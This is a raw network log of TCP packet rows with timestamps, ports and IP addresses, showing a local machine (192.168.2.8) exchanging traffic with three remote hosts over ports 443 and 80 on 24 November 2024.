Nov 24, 2024 19:11:51.843399048 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843416929 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843420029 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843441963 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843497992 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.843507051 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843545914 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.843570948 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.843590021 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.843621016 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.843658924 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.845184088 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.845192909 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.845244884 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.845252037 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.845288992 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.846021891 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.846040964 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.846121073 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.846139908 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.851408958 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.851491928 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.851495981 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.851541042 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.851587057 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.853786945 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.853800058 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.855254889 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.855273008 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.855305910 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.855353117 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.855374098 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.855401993 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.863699913 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.863737106 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.863792896 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.863809109 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.863836050 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.877753973 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.877831936 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.877847910 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885103941 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885113001 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885127068 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885137081 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885181904 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.885200977 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.885227919 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.893779039 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.893816948 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.893860102 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.893877983 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.893904924 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.929534912 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.929600000 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.929630995 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.929682016 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.929709911 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.929733038 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.948843002 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.951982021 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.952002048 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.952075005 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.952083111 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.952387094 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.953728914 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.953768969 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.953782082 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.953819036 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.953819990 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.953849077 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.953866005 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.953893900 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.958215952 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.958224058 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.958286047 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.958297968 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.958343983 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.967531919 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.967593908 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.967593908 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.967679024 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.968126059 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.968136072 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.968489885 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968499899 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968521118 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968530893 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968544960 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968555927 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.968554974 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.968594074 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.968622923 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.969047070 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.969062090 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.969089985 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.969118118 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.969139099 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.969146967 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.969157934 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.969181061 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.973035097 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.973104954 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.973114014 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.980633020 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.980642080 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.980767965 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.980777025 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.983095884 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.983110905 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.983200073 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.983212948 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.984173059 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.984239101 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.984249115 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.987226009 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.987281084 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.987334967 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.987371922 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:51.987399101 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.987534046 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.987576962 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:51.987605095 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.987613916 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996562004 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996570110 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996579885 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996601105 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996640921 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.996651888 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.996665955 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.998147964 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.998162985 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.998213053 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.998224020 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.998271942 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.001966000 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.002057076 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.002069950 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.002165079 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.003009081 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.003063917 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.003071070 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.003092051 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.003135920 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.006047964 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.006089926 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.006097078 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.006113052 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.006113052 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.006129980 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.006160021 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.006814003 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.006829977 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.015923977 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.015959978 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.015985012 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.015985012 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.016000986 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.016015053 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.016017914 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.016045094 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.016067982 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.026686907 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.026695967 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.026727915 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.026758909 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.026767015 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.026819944 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.030267000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.030359983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.030395985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.030414104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.030750990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.030812979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.030841112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.030884981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.031181097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.031275034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.031286001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.031336069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.032179117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.032217026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.032250881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.032262087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.033106089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.033185959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.033202887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.033230066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.034125090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.034138918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.034179926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.034193039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.034940958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.035001040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.035037994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.035094976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.035129070 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.035149097 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.035191059 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.035201073 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.035243034 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.035811901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.035872936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.035902023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.035943031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.036731958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.036789894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.036927938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.036982059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.037820101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.037880898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.037951946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.038008928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.038803101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.038887978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.038935900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.039705992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.040304899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.044693947 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.044711113 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.044751883 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.044764042 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.044790030 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.051172018 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.051220894 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.051240921 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.051281929 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.051321030 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.051338911 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.081003904 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.081051111 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.081080914 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.081113100 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.081140041 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.081177950 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.123193026 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.123270035 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.123291016 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.123307943 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.123362064 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.123362064 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.150800943 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.150846958 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.150902987 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.150928974 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.150954008 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.151112080 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:52.154759884 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.174530983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.174547911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.174592972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.174622059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.174992085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.175040960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.175112009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.176122904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.176135063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.176187992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.176929951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.176981926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.177010059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.177057028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.178020000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.178083897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.178128958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.178174973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.178798914 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178813934 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178841114 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178852081 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178868055 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.178879976 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178890944 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.178911924 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.178930044 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.178956985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.179048061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.179059982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.179086924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.179995060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.180043936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.180102110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.180143118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.181092024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.181148052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.181209087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.181250095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.181894064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.181943893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.181955099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.181998968 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.182636023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.182712078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.182723999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.182820082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.183459997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.183494091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.183512926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.183535099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.184405088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.184500933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.184588909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.184638023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.185259104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.185309887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.185317993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.185390949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.186247110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.186315060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.186325073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.186357975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.186656952 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186666965 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186695099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186702967 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186727047 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.186728954 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186738968 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:52.186794996 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:52.187238932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.187252045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.187303066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.188079119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.188107967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.188150883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.189050913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.189106941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.189130068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.189169884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.190004110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.190102100 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.190151930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.190191031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.191274881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.191349030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.191467047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:52.191512108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:52.192154884 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:52.192203045 CET	443	49794	13.107.246.40	192.168.2.8
